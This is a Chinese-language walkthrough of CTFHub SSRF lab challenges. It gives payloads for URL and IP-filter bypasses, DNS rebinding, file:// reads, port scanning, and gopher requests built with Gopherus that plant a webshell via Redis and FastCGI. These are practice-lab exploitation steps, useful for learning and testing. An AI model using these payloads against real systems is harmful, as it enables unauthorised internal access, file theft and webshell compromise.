1.URL Bypass
打开题目
请求的URL中必须包含http://notfound.ctfhub.com,使用@来绕过即可
/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
成功获得flag
2.数字IP Bypass
开启题目
发现127以及172被过滤了
尝试别的绕过
127.0.0.1–>localhost
127.0.0.1–>7F000001 ⼗六进制
127.0.0.1–>2130706433 ⼗进制
127.0.0.1–>2130706433 Enclosed Alphanumerics
3. 302跳转 Bypass
请求会跳转到其他页面
绕过姿势
?url=http://0.0.0.0/flag.php
?url=http://localhost/flag.php
4.DNS重绑定 Bypass
打开附件网站https://lock.cmpxchg8b.com/rebinder.html , 绑定两个回环地址
?url=http://7f000001.7f000002.rbndr.us/flag.php
5.内网访问
开启题目:/?url=http://127.0.0.1/flag.php
6.伪协议读取文件
/?url=file:///var/www/html/flag.php
查看网页源代码
7. 端口扫描
访问http://127.0.0.1:8000 使⽤BP抓包并进⾏爆破
8.Redis协议
开启环境,打开Kali,使用Gopherus工具
python2 gopherus.py --exploit redis
进⾏⼀次URL编码后并访问上传的⽂件 shell.php
连接⽊⻢获得flag
9. FastCGI协议
开启环境
使⽤Gopherus⼯具⽣成payload: python2 gopherus.py --exploit fastcgi
将⽣成的payload再进⾏第⼆次编码即可访问上传
链接已经上传的shell⽊⻢ 在根⽬录发现flag
10. POST请求
打开环境
查看网页源代码,输入提交key值
提交请求时抓包,修改为gopher协议进行post请求
进行url编码
将其中的 %0A 替换成 %0d%0A 并且末尾要加上 %0d%0a ,再次进行url编码
将编码提交到url, 页面出现flag(注意:有的编码平台可能会把冒号和双斜杠进行编码 构造payload时要修改回来)
11. 上传文件
?url=file:///var/www/html/flag.php
源码中需⼿动添加提交框并提交⽂件⼤⼩⼤于0的⽂件并抓包
修改为gopher协议进行post请求
然后与上面POST请求一样,url编码⼀次把%0A 换成 %0D%0A ,然后再进行第⼆次编码
在url后加上二次编码后的gopher协议 发现页面有flag